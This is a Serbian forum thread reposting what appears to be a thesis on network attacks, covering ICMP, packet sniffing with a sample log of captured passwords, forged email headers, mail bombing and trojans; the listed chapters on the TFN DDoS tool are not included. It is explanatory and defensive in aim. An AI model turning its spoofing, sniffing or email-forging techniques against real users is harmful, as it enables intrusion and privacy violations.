Dobrodosli na forum Extreme. Forum je za sve redom.. Nauka,knjizevnost,zdravlje,sport,ljubav,sex,muzika,filmovi,humor,istorija,skola,posao,fakultet,download,i jos dosta toga.. Jedini uslov da budete na forumu,je da se dobro zabavite..Uzivajte...:))
 
HomeFAQ/

Share | 
 

 KOMPLETNO O DOS NAPADIMA

Go down 
Marchello



: 22
Join date : 17.02.2009

: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:22 pm

KOMPLETNO O DOS NAPADIMA

SADRŽAJ

1. Uvod

2. Mreže
2.1 Pojam, istorija i razvoj
2.2 Mrežni protokoli
2.3 Pojam haker/hakovanje
2.4 Pojam zaštite elektronskih podataka
2.5 Pojam zaštite elektronskih podataka pravni aspekt
2.6 Podela mogucih napada na racunarsku mrežu

3. Ugrožavanje privatnosti
3.1 Privatnost kao pojam
3.2 Ugrožavanje privatnosti prisluškivanjem

4. Pretece DDOS-a
4.1 Zloupotrebe elektronske pošte
4.2 Propaganda u komercijalne svrhe
4.3 Lažno predstavljanje putem elektronske pošte
4.4 Korišcenje e-maila kao oblik distribuiranog napada
4.5 Neovlašceno ulaženje na racunarski sistem

5. DDOS
5.1 DDOS pojam
5.2 Za šta se DDOS može koristiti ?
5.3 Kako on radi ?

6.0 Detaljan opis DDOS alata (TFN project)
6.1 Intro
6.2 Izvršni kod ("verzije 1.3 build 0053") TFN servera
6.3 Komunikacija izmedu klijenta i servera
6.4 Pokretanje klijent programa
6.5 Zaštita šiframa
6.6 Tragovi (Fingerprints)
6.7 Prikaz aktivnosti TFN servera (razlicitim paketima za pracenje saobracaj kao i aktivnih procesa)
6.8 Lokalna Odbrana
6.9 Slabosti

7.0 Zakljucna razmatranja

Prilog A: Zakrpa za sniffit v. 0.3.7.beta za prikaz ne standardnih ICMP podataka
Prilog B: Zakrpa za tcpshow 1.0 za prikaz ICMP ECHO identifikacije /sekvence
Prilog C Perl skripta "civilize" za kontrolu TFN servera
   Go down
Marchello



: 22
Join date : 17.02.2009

: Re: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:24 pm

1. Uvod

Cilj ovog rada je da se ukaže na problem koji je u prethodne 3 godine postao jedan od najistaknutijih problema vezanih sa internetom i mrežama u celini. Vecina korporativnih mreža, bilo da se radi o internet provajderima ili da se radi o manjim korporacijama su podložni razlicitim vrstama napada koji smanjuju operativnu moc koje racunarske mreže pružaju tim kompanijama.

Da bi smo rad pravilno struktuirali i citaocu ovog rada omogucili lakše ukljucivanje u materiju zapoceo sam sa osnovnim stvarima i istorijom racunarskih mreža da bih preko objašnjena kako ona funkcioniše i koji su to metodi i nacini na koji ona stvarno radi omogucio objašnjenje pocetnih pojmova neophodnih za dalju raspravu.

Takode u ovom delu sam napravio i mali osvrt na pojmove zaštite podataka i sa pravnog i fizickog aspekta da bih bolje objasnio kako to sve izgleda u našoj sredini.

Trece poglavlje se bavi temom Privatnosti kao oblasti koja kod nas nije preterano zastupljena niti potencirana dok joj se na zapadu pridaje ogromna važnost. Zaštita privatnosti elektronskih poruka ili prosto zaštita licne privatnosti je jedno od osnovnih nacela koje važi u zapadnom zakonodavstvu, i ovim bih hteo da možda potencijalno otvorim to pitanje i u našoj sredini.

Cetvrto poglavlje se bavi pretecama DDOS napada koji je tema ovog rada. Želja mi je bila da prikažem kako su i pre DDOSa korporativne mreže bile ugrožene od strane nesavesnih i zlonamernih korisnika. Ništa manje opasni nisu bili ni ti metodi koji su korišceni kao što je lažno predstavljanje putem e-maila, neovlašceno korišcenje e-maila u propagandne svrhe i na kraju kao pretecama distribuiranog napada.

U petom i šestom poglavlju sam i zapoceo najzanimljiviji deo rada za mene, to jest samu DDOS tehniku napada, i pokušao sam da pružim detaljan prikaz na koji nacin sve to funkcioniše i koji su potencijali takvog jednog ugrožavanja korporativne mreže. Takode dajuci prikaz aktivnost jednog TFN servera sa raznim alatima za pracenje mrežnog saobracaja želeo sam citaocu da pružim kvalitetniji i detaljniji pregled ove materije. Pokušao sam i da objasnim koje su to slabosti koje postoje u nacinima odbrane i metodama za lokalnu odbranu.

Na kraju umesto zakljucka želeo sam da svoje dugogodišnje iskustvo koje sam stekao kao sistem administrator racunarske mreže na Univerzitetu Braca Karic, pretvorim u niz saveta koji mogu poslužiti kao uputstvo i vodici kako da se pokuša uspešno braniti jedna korporativna mreža i koje su osnovne mere predostrožnosti i zaštite.

Kao što sam vec naveo na samom kraju ne postoji nikakav apsolutni metod zaštite ni jedne korporativne mreže, vec se sve svodi na to da korporacija neprestano ulaže resurse u modernizaciju same racunarske mreže i da se sami administratori moraju non stop edukovati o novim metodama i tehnikama kako napada tako i odbrane.

Ako sam sa ovim radom delimicno uspeo u tome da bar nekome približim problematiku mreže i mrežnog napada i odbrane bicu više nego zadovoljan.
   Go down
Marchello



: 22
Join date : 17.02.2009

: Re: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:26 pm

2. Mreže

2.1 Pojam, istorija i razvoj

Pod pojmom mreže podrazumevamo skup racunara i uredaja koji su sposobni da medusobno komuniciraju cesto i na velike daljine razmenjujuci pri tom informacije preko posredujucih racunara.

Internet mreža je nastala iz razvoja ARPA NET koji je bio prva vrsta mreže kakve danas poznajemo i bila je korišcena za potrebe americke vojske koja ju je razvila da bi mogla da komunicira na velike daljine kao i da povežu institucije koje su bile od kljucnog znacaja za americku vojsku.

Kasnije su se na tu mrežu polako povezivali i univerziteti i to je bio prvi oblik mreže i mrežnog okruženja kakvo danas poznajemo. Sa razvojem prednosti korišcenja mreže u poslovnom okruženju pojavile su se i opasnosti i mane kojih su kompanije morale biti svesne pre upuštanja u rizik zvani poslovanje na mreži.

Jedna od najviše spominjanih opasnosti, o kojoj ce i biti reci u ovom radu, je opasnost od gubljenja podataka i o onemogucavanju razmene istih usled ugrožavanja sigurnosti same mreže.

Sigurnost mreže i podataka na racunarima može biti ugrožena na razne nacine ali nazivi koje se najcešce spominju u vezi toga su hakovanje (eng. hacking) i hakeri (eng hackers).

2.2 Mrežni protokoli

Protokol je jezik koji se koristi za komunikaciju izmedu dva racunara koji su povezani u mrežu, gde protokol definiše kako se podaci pakuju za prenos preko mreže kako bi racunar koji ih prima mogao da ih korektno raspakuje Neophodno je da racunari na istoj mreži koriste isti protokol za komunikaciju.

Protokol koji ce ovde imati presudnu ulogu jeste ICMP (internet message control protocol-internet protokol kontrolnih poruka)

ICMP-internet protokol kontrolnih poruka obezbeduje mehanizam prijave greški i kontrolnih poruka TCP/IP (transfer control protokol/internet protokol) protokolu kao osnovnom protokolu za komunikaciju na mrežama otvorene arhitekture kao što je Interent.

Funkcije koje ICMP protokol obavlja:

Poseduje eho poruke i poruke potvrde kojima se testira pouzdanost veze izmedu dva racunara.Ovo se postiže upotrebom PING komande
Redirekciju saobracaja, radi poboljšanja rutiranja u slucaju zagušenja rutera pri obimnom mrežnom saobracaju.
Šalje poruke o isteku vremena predvidenog za egzistiranje paketa (istek vremena predvidenog parametrom TTL)
Šalje zahtev ruteru za dobijanje adresa svih rutera na mrežnom segmentu.
Obezbeduje slanje poruka racunaru sa direktivom za usporavanje saobracaja , u slucaju da je ruter opterecen
Utvrduje masku podmreže mrežnog segmenta.

Format ICMP paketa

Tip

Kod

Kontrolna suma

Tipski podatci

Polje promenjive dužine

slika 1

Polja ICMP paketa:

Polje

Opis

0-Mreža nedostupna

1-Racunar nedostupan

2-Protokol nedostupan

3-Port nedostupan

4-Potrebna fragmentacija

5-Neuspešna izvorna ruta

6-Odredišna mrea nije poznata

7-Odredicni racunar nije poznat

8-Izvorišni racunar izolovan

9-Komunikacija sa odredišnom mrežom nije administrativno dozvoljeno

10-Komunikacija sa odredišnim racunarom nije administrativno dozvoljena

11-Mreža nedostupna za taj tip servisa

12-Racunar nedostupan za taj tip servisa

Dodatne informacije koje nepostoje u polju za tip

Detekcija greške za ICMP deo

Sadržaj ovog tipa zavisi od tpa funkconalnost koju ICMP pruža. Ukoliko je Echo Reguest/Echo Reply (najcešci slucaj),ovo polje sadrži indetfikator i broj sekvence koje se koristi pri svakom slanju Echo zahteva i odgovara

slika 2

Zbog same prirode ICMP protokla hakeri mogu da eksploatišu sam protokol na taj nacin što mogu da u polja ICMP protokola upisuju one podatke koji nisu po ustaljenim vrednostima obuhvacene u samom protokolu.Odnosno svaki paket koji šalju na odredišnu adresu nemora da ima njenu stvarnu polaznu adresu, tako da na taj nacin mogu da pošalju pakete na ralicite adrese sa polaznom adresom targetirane mreže i tako da se odgovori koji su poslati vracaju na adresu targetirane mreže i na taj nacin stvaraju zagušenje targetiranoj mreži.Ovakav vid hakerskih aktivnosti predstavlja osnov distribuiranih napada na mreže.

2.3 Pojam haker/hakovanje

Pojam haker (eng. hacker) u svom znacenju opisuje osobu koja se bavi istraživanjem mogucnosti racunara i njihovoj primeni u svakodnevnom životu inace prvi put pomenut sredinom 70-tih godina kada su dva studenta sa MIT-a koristeci trikove(hackove) ušli na Univerzitetski mejn frejm.

Hakeri se još i definišu i kao ljudi koji su po prirodi radoznali, koji vole sve da saznaju i ne vole kad je nešto sakriveno od njih. Tokom godina pojam haker je poceo da se vezuje za ljude koji neovlašteno ulaze (tacniji pojam je upadaju) na razne racunarske sisteme i manje ili više uspešno pokušavaju da ovladaju sistemom. Takode se pojavljuju razliciti stavovi da li su hakeri u stvari loši (jer neovlašteno pristupaju raznim racunarskim sistemima) ili su dobri (jer pokazujuci da postoje propusti u sigurnosti nas teraju da unapredujemo svoje programe i sisteme zaštite).

2.4 Pojam zaštite elektronskih podataka

Godinama se napad na racunarske mreže rešavao dobrim katancem i pravilnim zakljucavanjem kancelarije koje imaju racunare sa osetljivim podacima. Bilo je dovoljno imati i dva cuvara ciji bi posao bi da paze da neko fizicki ne provali u kancelariju i tu na licu mesta pokuša da prisvoji ili uništi odredene podatke koje smo hteli da sacuvamo.

Uvodenjem racunarske mreže u kancelarijski nacin rada a posebno sa uvodenjem interneta i klijent/server arhitektura sam koncept zaštite elektronskih podataka morao je da doživi dramaticnu promenu.

Sada više nije bilo neophodno biti fizicki prisutan u prostoriji gde se nalazi racunar na kome se nalaze poverljivi podaci. Napad je mogao biti izvršen i iz susedne prostorije ili sa drugog kontinenta, a podaci preneseni bez vidljivog uznemiravanja cuvara koji su sedeli ispred prostorije.

Koncept sigurnosti je sada shvatan ne kao fizicko obezbedivanje prostorije vec kao niz sofisticiranih tehnika i metoda kojim bi sam racunarski sistem bio zašticen i obezbeden.

2.5 Pojam zaštite elektronskih podataka pravni aspekt

Predlogom novog krivicnog zakonika definisani su kriterijumi šta se sve može smatrati pod krivicnim prekršajem vezano za temu racunara i racunarskih komunikacija.

Neovlašceni pristup i korišcenje racunarskih sistema i mreža
Namerno oštecivanje racunarskih programa i podataka- Sabotiranje rada racunarskih sistema i mreža
Pravljenje virusa i njihovo unošenje u racunarske sisteme
Ometanje funkcionisanja sistema za elektronsku obradu podataka i racunarskih mreža
Povreda tajnosti elektronske pošte
Sprecavanje ili ogranicavanje pristupa racunarskim mrežama
Neovlašceno prikupljanje i objavljivanje privatnih fotografija, spisa i licnih podataka
Prisluškivanje
Uvreda i kleveta
Objavljivanje zabranjenog pornografskog materijala (pedofilija)
Posredovanje u vršenju prostitucije
Povreda intelektualne svojine (copyright)
Narušavanje poslovnog ugleda
Oštecivanje mrežnih kablova
Terorizam- Špijunaža
Izazivanje panike i nereda
Udruživanje radi vršenja kriminalnih dela (ugovaranje akcija, prikrivanje dokaza, itd)

Clan 34 krivicnog zakona o kompijuterskom kriminalu

Svi ovi predlozi zakona imaju jako dobru osnovu, medutim problem koji se javlja leži u samom okviru zakona, Nevin dok se ne dokaže krivim , jer mogucnost dokazivanja ovakve vrste kriminalnih radnji granici se sa teoretskom neverovatnošcu, iz jednostavnog razloga što kod nas nepostoji obucen pravosudni kadar koji bi mogao da procesira ovakav slucaj. Što znaci , da ukoliko se pocinilac sam neprijavi, skoro da nepostoji šansa da mu se ude u trag.

U Jugoslaviji se trenutno obucava oko 10 sudija, tužilaca i branioca za ovu vrstu kriminalnih radnji, tako da ce u skorije vreme i kod nas postojati strah od zakona na internetu.

2.6 Podela mogucih napada na racunarsku mrežu

Za samu racunarsku mrežu pojmovi blizu ili daleko imaju potpuno promenjeno znacenje.

Pod lokalnim pristupom (local access) smatra se rad korisnika koji je uredno prijavljen na racunarski sistem i sve radnje obavlja na samom sistemu (rad u shell-u, kontrolisanje elektronske pošte ili surfovanje sa samog racunara- lynx ) odnosno kada je pocetna adresa korisnika jednaka krajnjoj adresi.

Pod pristupom na daljinu (remote access) podrazumevamo rad pri kojem korisnikova pocetna adresa paketa nije ista kao i krajnja adresa servera na kome radi.

Pojavom UNIX/LINUX kao operativnih sistema koji u potpunosti podržavaju mrežni rad, stvari se još dodatno komplikuju.

Kada korisnik sa svog racunara pokušava da inicira sesiju na nekom serveru sam pristup tom serveru se smatra kao pristup na daljinu (remote access) ali sav rad koji obavlja na tom serveru, a tice se samog boravka na serveru, se smatra radom u lokalu. (primer remote access ssh sesije na jedan server, ali se citanje pošte iz PINE smatra lokalnim pristupom, jer za taj server sam program i jeste iniciran iz lokala)

Samim tim pri zaštiti racunarskih mreža moramo voditi racuna i o jednom i o drugom pristupu kao o nacinima na koji se potencijalno može ugroziti sigurnost.

Kada pricamo o napadu na racunarsku mrežu moramo kvalifikovati sam pojam napada, šta on znaci za nas i kako se odražava na nas kao vlasnike racunarske mreže.

Napadom na racunarsku mrežu se smatra svaka aktivnost koja je usmerena ka tome da izazove ugrožavanje privatnosti, usporavanje ili ometanje normalnog odvijanja procesa rada u samoj racunarskoj mreži.

Sami napadi na racunarsku mrežu i sisteme mogu se podeliti na sledece kategorije:

ugrožavanje privatnosti
zloupotrebe elektronske pošte
potpuno ili delimicno prekidanje servisa (Denial of Service)
neovlašceno ulaženje na racunarski sistem
   Go down
Marchello



: 22
Join date : 17.02.2009

: Re: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:27 pm

3. Ugrožavanje privatnosti

3.1 Privatnost kao pojam

Privatnost je moc da se kontroliše ono što drugi ljudi znaju o vama. Tacnije: to je mogucnost da se kontroliše istina o vama koju ostali ljudi znaju.

Privatnost je zasnovana na našoj sposobnosti da krijemo istinu.

Postoje dve vrste podataka koje zakon pokušava da zaštiti:

1. podaci koje smo nekome poverili, ili podaci koje je neko drugi prikupio o nama,
2. podaci o nama koje držite u tajnosti, koji su samo nama poznati.

Prva vrsta privatnosti koju bi zakon trebao da štiti jeste privatnost informacija. Ako ste ucinili javnom informaciju o vrednosti vaše kuce, stavljajuci je pod hipoteku u sudu, ipak želite kontrolu nad dostupnošcu tih podataka ostalima. Ili ako ste u apoteci kupili test za proveru trudnoce, i isti platili kreditnom karticom (time otkrivajuci svoj identitet), i dalje ne želite da ta informacija bude dostupna svima u vašem gradu.

Druga vrsta privatnosti nam je poznatija: koliko novca imate u novcaniku, šta pišete u pismima svojoj dragoj(om), koje programe gledate na televiziji, šta mislite o javnim licnostima, politicarima...

To su sve informacije koje bi smo želeli da zadržimo samo za sebe.

Sama privatnost naši podataka može biti ugrožena i zloupotrebljena na više nacina:

Ugrožavanje privatnosti prisluškivanjem gde je cilj sakupiti što više informacija o odredenoj osobi

Ugrožavanje privatnosti e-mail poruka (od strane poslodavca, kolega, trecih lica, državnih organa ...)

Ugrožavanje privatnosti davanjem sakupljenih informacija o nama trecim licima koja su za njih zainteresovana (internet oglašivacima, prodavcima odredenih proizvoda i sl.)

3.2 Ugrožavanje privatnosti prisluškivanjem

Sam metod prisluškivanja (eng sniffing) zasniva se na osnovnim principima rada mreže gde paketi putuju od jednog do drugog racunara pokušavajuci da stignu do svoje krajnje odrednice racunara kome želimo da pristupimo.

U svakodnevnom radu i komunikaciji izmedu dva racunara najcešce korišcena komanda za prelaz sa jednog na drugi racunrar putem mreže je komanda telnet, stim da se telnet ne uzima kao jedini vid pristupa ka nekom odredišnom racunaru .

Nacin uspostavljanja veze izmedu dva racunara je sledeci (recimo da se nalazimo na racunaru A, a B je racunar na koju se "telnetujemo"):

1. A -----SYN----> B

2. A <---SYN/ACK--- B

3. A ACK----> B

slika 3

Najpre racunrar A šalje zahtev za otvaranjem konekcije (SYN). Zatim racunrar B odgovara sa tzv. SYN/ACK potvrdom da je zahtev za otvaranjem konekcije od strane klijenta A prihvacen i u trecem koraku klijent uspostavlja vezu sa serverom B.

Recimo da klijent A ima IP adresu 66.66.66.66 a server B 66.66.66.99.

Konekcija koja se formira od mašina A ka mašini B putem koje se šalje sve što mi kucamo ce imati oblik: 66.66.66.66.3456-66.66.66.99.23. Povratne informacije ka klijentu A se šalju putem: 66.66.66.99.23-66.66.66.66.3456. Pretpostavimo da se A i B nalaze na istoj mreži sa racunarima C, D, E, F itd.

Tj. šematski:

A-------------------------------B
\ \ \ \
C D E F



slika 4

Ukoliko neko znatiželjan ima fizicki pristup nekom od racunara C, D, E, F sve što treba da uradi je da pokrene neki eternet sniffer i svako slovo koje otkucamo ce se pojaviti ili u sniff log fajlovima ili na ekranu u zavisnosti od same konfiguracije snifera. Tipican sniff log izgleda ovako

................vt100..................neko.PaswOr d1.w. ps -u ivana...ls -ald /var/mail/vana....su.idiot96.clear. cd /var/mail.tail -f ivana...more ivana.cat .cd.w.ps -u ivana .finger ivana...cd /var/mail.cat ivana...id

slika 5

Tackicama su zamenjeni specijalni karakteri, kao npr ^M za return. Iz ovoga sniff loga moze se lako utvrditi da korisnik neko kao identifikaciju koristi password PaswOrd1. Dalje, može se utvrditi da je taj korisnik veoma zainteresovan za korisnicu Ivana. Takode se može primetiti da taj korisnik zna root-ov password i da je putem komande su postao root ( pod pojmom root podrazumevamo fizicki pristup hardveru na racunaru na kojoj se kao operativni sistem koristi UNIX). Takode se moze videti da je root-ov password u ovom slucaju idiot96, kao i da se korisnik neko intenzivno interesuje za sadržaj

maila korisnice sa usernamom ivana.

Gore navedeni primer je veoma poucan, jer pokazuje koliko je lako ugroziti neciju sigurnost podataka i da je korišcenje telneta neopravdano i veoma opasno. Dovoljno je sacekati da korisnik pod imenom neko ne bude ulogovan na racunrar jer bi bilo suludo biti ulogovan na kome su ovi podaci važeci i iskoristiti ih . Racunar host nece znati na osnovu unetih podataka da li je to stvarno korisnik neko ili ne.

Ipak, namece se pitanje: zašto bi nekoga uopšte zanimao naš username/password? Razlog je veoma jednostavan. Normalne instalacije UNIX-a su na žalost veoma loše napisane. Ponekada je dovoljno samo pribaviti username i password i dobiti root pristup na racunaru.

Prisluškivanje (sniffovanje) je veoma popularna tehnika medu hakerima, dokonim administratorima, kriminalcima, za sticanje potrebnih informacija. Sem toga racunari komuniciraju putem kablova koji oko sebe stvaraju elektromagnetsko polje. Signale koji se šalju moguce je hardverski snimati i zatim kasnije analizirati.

Još lošija situacija je ako je neko root na racunaru A sa kojeg se mi npr. telnetujemo, postoji mogucnost da nam jednostavno preuzme telnet sesiju, a isto to je moguce ako se neko nalazi na hostu C koji se nalazi izmedu A i B (slika 1). Iz svega gore navedenog jasno je da je upotreba telneta ili ftp-a koji na mrežu šalju podatke u izvornom obliku neprihvatljiva.

Komandom traceroute uvek možemo utvrditi sve potencijalne lokacije na kojima možemo ocekivati da neko snifuje.

Ako neko poznaje naš username i password, kada se jednom uloguje može da radi šta god poželi sa podacima na našem nalogu. Na svu srecu obicni korisnici nemaju mogucnost da pristupaju hardveru, pa samim tim ni da mrežnu karticu prebace u tzv. promiscuous mod rada koji je potreban sniferu da bi preuzimao sve podatke sa lokalne mreze. Ali da sreca ne bude potpuna postoji puno korisnika koji to mogu i cine svakodnevno.

Danas se sve manje koristi telnet kao servis za daljinsko pristupanje zbog njegove nesigurnosti .Umesto njega danas se koristi SSH (secure shell) servis koji za razliku od telneta enkriptuje celokupan saobracaj u komunikaciji izmedu korisnika i servera.

Pored prisluškivanja telnet sesija moguce je prisluškivati i sve ostale TCP/IP sesije koje ne koriste metode kriptovanja. Samim tim znaci da je jedan od servisa koji je i doprineo velikoj popularizaciji interneta, e-mail, takode ugrožen.

Mesta gde se sve može neovlašteno pristupiti jednom e-mailu koji je poslat sa neke udaljene mreže se broje velikim ciframa.

O tome da li pojedinac licno smatra da mu je neophodna privatnost njegove elektronske pošte ili ne je njegovo pravo da odluci, ali novi predlog zakona to poistovecuje sa otvaranjem obicnih pisama koji se smatra krivicnim delom.

O privatnosti elektronske pošte i samoj vrednosti pisama koja se razmenjuju izmedu firmi, organizacija i institucija i diskusijama koje su o tome vodene u svetu podsticu sve firme koje obavljaju deo svoje komunikacije preko interneta da posvete ogroman deo novca i vremena u sisteme i metode zaštite privatnosti elektronske pošte. Cak je donet zakon o privatnosti elektronske pošte na radnom mestu kojim se jasno definiše da li i kad poslodavac ima pravo da kontroliše elektronsku poštu svojih zaposlenih.

Mislim da bi podizanje ovog pitanja u našoj sredini i na samim fakultetima bilo od velikog znacaja za uvodenje normi ponašanja na internetu.
   Go down
Marchello



: 22
Join date : 17.02.2009

: Re: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:29 pm

4. Pretece DDOS-a

4.1 Zloupotrebe elektronske pošte

Pod zloupotrebom elektronske pošte tokom godina su se izdvojili razliciti pravci posmatranja.

Sakupljanje licnih informacija
Zloupotreba podataka u komercijalne svrhe putem e-mail-a
Lažno predstavljanje pute elektronske pošte (e-mail)
Korišcenje e-maila kao nacina distribucije virusa

Sakupljanje licnih informacija (Personal data abuse) Kršenje privatnosti korisnika je kada se podaci o njima daju trecim licima bez njihovog odobrenja.

AOL je to ucinio kada je dao podatke o mladem podoficiru Timotiju Mek Veitu. Ti podaci su sadržali podatke o njegovom seksualnom opredeljenju (to da je on homoseksualac i da je posetio odredene sadržaje na interenetu i da je bio u kontaktu sa odredenim brojem homoseksualaca). Americka mornarica je tražila te podatke i iskoristila ih da bi ga otpustila. Mek Veit je podigao optužnicu protiv AOL-a zbog napada na privatnost, ali su oni nastavili da brane svoj postupak i svoje pravo da koriste podatke na nacin kako su im potrebni.*

Ono što je bito u svim ovim slucajevima da se svi ti podaci daju bez njihovog znanja i samim tim bez njihovog pristanka.Te podatke zatim dalje mogu da koriste i razne druge agencija,službe i slicne organizacije. Cak je na pojedinim mestima omoguceno pojedincima da lako dodu do svih relevantnih podataka o drugom pojedincu.

Poseban problem kod e-mail poruke je u tome što u osnovi daje previše podataka o onome koji je šalje. Iz nje se može zakljuciti odakle je poslata, iz koje zemlje, ko je pošiljalac, u koje vreme je poslata, preko kojih je sve servera prošla dok nije stigla do odredene destinacije.

Teško je izbeci kriminal koji je vezan za elektronsku poštu, pošto je lako pratiti rad korisnika na sistemima sa PINE programom za pristup pošti, probijati kodiranu zaštitu mocnim i lako dostupnim softverom i ubacivati se u sisteme sa alatima koji su dostupni na internetu:

SpyNet (pages.prodigy.com/waite/waite1.htm#SpyLinks) ili Hacking Arcade (www.angelfire.com/ak/ankit1). Kodiranje je mogucnost, ali ako neko stvarno želi da cita vaše poruke moze veoma lako da ih dekodira sa odgovarajucim softverom.

Trenutno americko zakonodavstvo manje pažnje polaže na privatnost nego na pracenje toga šta ljudi pišu, kome i koliko cesto. To može da izgleda neophodno u nekim slucajevima, kao sto je slucaj Džejka Bejkera.

Džejk, student, je uhapšen zato što je poruka koju je poslao sadržala "komunikaciju na medudržavnom ili medunarodnom nivou koja sadrži pretnje, sa ciljem da se ponizi tuda licnost".

Ocigledno imate pravo da šaljete takve poruke, ali uz rizik da budete nadgledani, ispitivani i javno poniženi. Namece se pitanje: šta to prosecan korisnik elektronske pošte piše kada je potrebno da se to nadgleda od strane vlasti.

U 42 države SAD sudski ovlaštene institucije mogu legalno da citaju tudu postu (www.crimetime.com).

U Vašingtonu je zakonom zabranjeno slanje anonimnih poruka iako je to veoma lako izvesti pa vecina ljudi nije uhvacena u tome. Pristup elektronskoj pošti je omogucen ogromnom broju ljudi, i treba ga koristiti sa oprezom.

4.2 Propaganda u komercijalne svrhe

AOL je podatke o korisnicima distribuirao i kompanijama. Podatke je prodavao marketinškim firmama putem mailing lista. Ovo nije kršenje zakona, iako su veoma specificne informacije prodate, zato što AOL tvrdi da korisnici mogu da povuku svoje ime sa liste u bilo koje vreme, samo ako to žele. Ali, ako neko ne zna da su njegovo ime i podaci prosledeni marketinškim kompanijama, kako može da odluci da povuce svoje podatke.

Preko 70% kompanija daje licne podatke o svojim zaposlenima raznim kreditnim žirantima, 47% daje agencijama za izdavanje stanova i 19% raznim dobrotvornim organizacijama.

U zloupotrebu elektronske pošte spada i takozvano "spam"-ovanje. To predstavlja slanje velikog broja jedne poruke vecem broju osoba od strane jednog pošiljaoca(najcešce su te poruke neka vrsta oglasa za proizvod ili uslugu koju pošiljalac želi da nam proda).

Problem SPAM-a spada u oblast Net-etike - kulture ponašanja i komunikacije na Internetu. Šta je dozvoljeno i u kojoj meri cesto se ne zna - baš kao i u realnom životu. Poruke koje svaki email korisnik svakodnevno prima mogu biti zaista iritirajuce, kako po svom sadržaju tako i samim znanjem da te poruke nismo tražili, te da nas neko koristi kako bi izvukao neku korist. Postojanje zakona je svakako jedan od nacina zaštite korisnika i provajdera. Mnogi provajderi vode racuna o pošti koju distribuiraju do krajnjih korisnika, ali ima i onih koji ostavljaju korisnicima da se sami izbore.

Specifican nacin spam-ovanja je slanje puno e-mailova na odredenog korisnika.

Na taj nacin se osim zatrpavanja "mete" beskorisnim porukama, zauzimaju resursi racunara koji se koristi za slanje ili primanje tih poruka, pa moze doci i do blokiranja ili cak do oštecenja samog sistema.

Primer za to se video prilikom NATO bombardovanja Jugoslavije gde su odredeni serveri koji su prikazivali web prezentacije o NATO-u bili onesposobljeni primanjem preko 20.000 email poruka svakog sata. U jednom trenutku sam server više nije imao mesta gde da primi tolike poruke i srušio se usled nedostatka mesta za snimanje privremenih podataka neophodnih za rad sistema.

Ovaj vid zloupotrebe je danas dostupan ne samo "velikim hakerima", vec i obicnim korisnicima Interneta. Danas 30% populacije na Internetu ima po neki program koji omogucava ovakvo bombardovanje nekoga gomilom poruka, jer se mogu naci na Internetu i veoma su jednostavni za upotrebu.

4.3 Lažno predstavljanje putem elektronske pošte

Postoji još jedan važan aspekt, a to je da elektronska pošta nije realna, vec virtualna konverzacija, i kao takva može biti loše interpretirana i shvacena na pogrešan nacin. To dolazi do posebnog izražaja ako se neovlašceno koristi od trece strane.

Dodatni nacin zloupotrebe e-maila predstavlja slanje "fake-mail"-ova. U pitanju je slanje poruka tako da izgleda da ih je poslao neko drugi. Najcešce se jedino iz zaglavlja poruke može otkriti da poruku nije poslao onaj cije ime piše u poruci, tako da ako ne ocekujete suprotno, možete da pomislite da je poruku poslao onaj u cije je ime poslata.

U te svrhe se može iskoristiti najobicniji mail program kao što su "Outlook Express", "Internet Mail", "Eudora", "Netscape Messager" ili je potrebno samo malo predznanja o radu samih mail servera i operativnog sistema linux.

Primer jedne poruke koja na prvi pogled izgleda normalno:

----------------------------------------------------------------------------------

From lazni@eunet.yu Thu May 18 08:44:37 2000

Date: Thu, 18 May 2000 08:56:38 +0200

From: lazni@eunet.yu

Subject: Lazna poruka

Mala demonstracija kako se salju lazne poruka

----------------------------------------------------------------------------------

Ako bolje pogledamo u Zaglavlje te poruke shvaticemo da ona nikad i nije bila poslata sa euneta i da je lažna

----------------------------------------------------------------------------------Received: from amadeus.uni-bk.ac.yu (amadeus.uni-bk.ac.yu [194.247.207.33]

by amadeus.uni-bk.ac.yu (qmail invoked from network)withESMTP id IAA14979

for <xxx-x@amadeus.uni-bk.ac.yu>; Thu, 18 May 2000 08:44:21 +

From: lazni@eunet.yu

Received: from localhost (localhost [127.0.0.1])

by amadeus.uni-bk.ac.yu (qmail invoked from network) with SMTP id IAA21723

for xxx-x@amadeus.uni-bk.ac.yu; Thu, 18 May 2000 08:56:38 +02

Date: Thu, 18 May 2000 08:56:38 +0200

Message-Id: <200005180656.IAA21723@amadeus.uni-bk.ac.yu >

X-Authentication-Warning: amadeus.uni-bk.ac.yu: localhost [127.0.0.1]

Subject: Lazna poruka

Kljucne stavke su

Received: from localhost (localhost [127.0.0.1])

by amadeus.uni-bk.ac.yu (qmail invoked from network) with SMTP id IAA21723

for xxx-x@amadeus.uni-bk.ac.yu; Thu, 18 May 2000 08:56:38 +02

X-Authentication-Warning: amadeus.uni-bk.ac.yu: localhost [127.0.0.1]

Primer 1

U stavci Received vidi se da je mail stvarno poslat preko mail servera na amadeusu i to tako što je poslat mail sa njega samog(localhost). Kada se primi jedan ovakav mail potrebno ga je poslati nazad na abuse@imeprovidera_odakle_je_mail ili root@imeprovidera_odakle_je_mail sa konstatacijom da je mail lažan i da tražite od administratora sistema da reaguje na zloupotrebe mail servera.

4.4 Korišcenje e-maila kao oblik distribuiranog napada

Mail bombardovanje je veoma primitivna tehnika, pa se gotovo više i ne koristi. Skoro svi provajderi imaju zaštitu od mail bombi (server odmah zaustavi mailove ako primeti da dolaze iste poruke) a i krajnja zaštita je jednostavna - za manje od 5 minuta cete ih obrisati, dok ce zlonamerni korisnik potrošiti sate i sate da bi vam poslao par hiljada poruka.

Zbog toga se koristi nova tehnika, a to je slanje emaila koji može naneti (i obicno donosii) veliku štetu. Radi se slanju trojanca ili virusa uz email u kojem se zlonamerni korisnik predstavlja kao veoma dobrotvorna osoba i neprimetno moli primaoca da startuje 'program' koji mu je poslao. Program je najcešce zaražen nekom vrstom virusa medu koje najcešce spadaju

BackOrifice i NetBus, dva najpopularnija trojanca (analogija izvedena po tome što zlonamernom korisniku dozvoljava da se bez znanja vlasnika racunara useli na zaraženi racunar i time zlonamernom korisniku dozvoli nelegalan pristup racunaru) koji kreiraju takozvani backdoor (eng. backdoor zadnja vrata).

